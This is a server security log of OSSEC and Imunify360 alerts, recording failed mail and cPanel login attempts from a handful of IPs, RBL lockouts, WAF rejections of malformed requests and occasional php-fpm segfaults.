2026-07-01 00:18:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23988: 535 Incorrect authentication data (set_id=server30@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:18:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64410: 535 Incorrect authentication data (set_id=acctftp1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:19:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37154: 535 Incorrect authentication data (set_id=townhall@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:19:29 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:19:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15744: 535 Incorrect authentication data (set_id=abas@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:19:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37050: 535 Incorrect authentication data (set_id=oakhill@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:19:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:19:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:19:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47776: 535 Incorrect authentication data (set_id=lineage2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:19:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:19:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62902: 535 Incorrect authentication data (set_id=sharp@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:20:57 ns5 kernel: php-fpm[2098505]: segfault at 7ffda1d55ff8 ip 0000000000729c6e sp 00007ffda1d55ff0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:20:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:20:24 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:20:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:20:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:20:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15544: 535 Incorrect authentication data (set_id=122456@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:20:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:28732: 535 Incorrect authentication data (set_id=oakhill@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:20:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38244: 535 Incorrect authentication data (set_id=disp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:20:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13676: 535 Incorrect authentication data (set_id=teste2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:21:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:21:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:21:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:21:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32366: 535 Incorrect authentication data (set_id=guojun@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:21:19 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.201.20.38
country_id: 2921044
description:
[2026-07-01 00:21:10 +0000] info [cpaneld] 84.201.20.38 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:21:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56494: 535 Incorrect authentication data (set_id=gracelee@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:21:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:14668: 535 Incorrect authentication data (set_id=gki@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:21:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54592: 535 Incorrect authentication data (set_id=acs1@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:22:51 ns5 kernel: php-fpm[2098509]: segfault at 7ffda1d55e58 ip 000000000072ad55 sp 00007ffda1d55e58 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:22:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32798: 535 Incorrect authentication data (set_id=admin02@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:22:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 00:22:15 +0000] info [cpaneld] 64.111.92.123 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:22:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:22:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55626: 535 Incorrect authentication data (set_id=cockpit@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:22:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:31016: 535 Incorrect authentication data (set_id=seafight@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 00:22:23 +0000] info [cpaneld] 20.212.169.175 - admin@togocarrierebetons.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:22:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 00:22:24 +0000] info [cpaneld] 20.212.169.175 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:22:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:8248: 535 Incorrect authentication data (set_id=zsuzsa@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:22:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29200: 535 Incorrect authentication data (set_id=malcolm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:22:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:23:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7670: 535 Incorrect authentication data (set_id=bolle@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:23:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.232.222.55
country_id: 2802361
description:
104.232.222.55 - - [01/Jul/2026:00:23:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289576&pdata=https%253A%252F%252Fsoena.tg%252Fstore%252Fseduction&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782865383 HTTP/2.0" 302 0 soena.tg "https://soena.tg/store/seduction" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 BytedanceWebview/d8a21c6 trill_31.7.0 JsSdk/2.0 NetType/WIFI Channel/App Store ByteLocale/id Region/ID FalconTag/B01A80E7-4BCD-4660-A50A-8FC7551A9C2F TTP_H5_URLPROTOCOL" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.232.222.55


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:23:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:23:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32118: 535 Incorrect authentication data (set_id=added@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:23:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50068: 535 Incorrect authentication data (set_id=opel@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.140.251
country_id: 3996063
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/convertie-au-christianisme-voici-le-premier-titre-gospel-tant-apprecie-de-la-star-nigeriane-chidinma/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.140.251
country_id: 3996063
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/convertie-au-christianisme-voici-le-premier-titre-gospel-tant-apprecie-de-la-star-nigeriane-chidinma/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:23:32 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:23:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:5398: 535 Incorrect authentication data (set_id=notary@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:23:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:24:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:24:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:24:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36990: 535 Incorrect authentication data (set_id=lai@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:24:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:24:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65176: 535 Incorrect authentication data (set_id=kurs@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:24:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8608: 535 Incorrect authentication data (set_id=spa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:24:34 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:24:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26570: 535 Incorrect authentication data (set_id=vlad@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:25:51 ns5 kernel: php-fpm[2101111]: segfault at 7fff3ce1ff18 ip 000000000072ad55 sp 00007fff3ce1ff18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:25:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49716: 535 Incorrect authentication data (set_id=velenje@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:25:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:25:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13620: 535 Incorrect authentication data (set_id=lcadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:25:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:25:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3108: 535 Incorrect authentication data (set_id=dianna@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:25:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:13706: 535 Incorrect authentication data (set_id=mabel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:25:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:25:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:26:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54286: 535 Incorrect authentication data (set_id=milan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:26:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:53466: 535 Incorrect authentication data (set_id=mlchen@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:26:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:26:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:26240: 535 Incorrect authentication data (set_id=skaner@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:26:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54762: 535 Incorrect authentication data (set_id=ag@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:26:23 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:26:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:26:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:26:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:17314: 535 Incorrect authentication data (set_id=milan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:27:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43208: 535 Incorrect authentication data (set_id=apposite@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:27:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57794: 535 Incorrect authentication data (set_id=suzanne@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:27:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:27:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:27:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:2766: 535 Incorrect authentication data (set_id=1144@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:27:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61870: 535 Incorrect authentication data (set_id=madmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:27:28 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:27:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:28:37 ns5 kernel: php-fpm[2101529]: segfault at 7fff3ce1ff18 ip 000000000072ad55 sp 00007fff3ce1ff18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:28:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7942: 535 Incorrect authentication data (set_id=assassin@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.118.145.124
country_id: 3686110
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/albums/page/4 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:28:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:28:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43748: 535 Incorrect authentication data (set_id=front2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:28:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:38440: 535 Incorrect authentication data (set_id=calendari@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:28:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:28:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33736: 535 Incorrect authentication data (set_id=gut@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:28:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:29:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15018: 535 Incorrect authentication data (set_id=reviews@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:29:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:31030: 535 Incorrect authentication data (set_id=atlas@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:29:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:29:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:29:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:29:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:20354: 535 Incorrect authentication data (set_id=deathstar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:29:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:29:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49080: 535 Incorrect authentication data (set_id=zavragin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:30:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32636: 535 Incorrect authentication data (set_id=decode@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:30:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
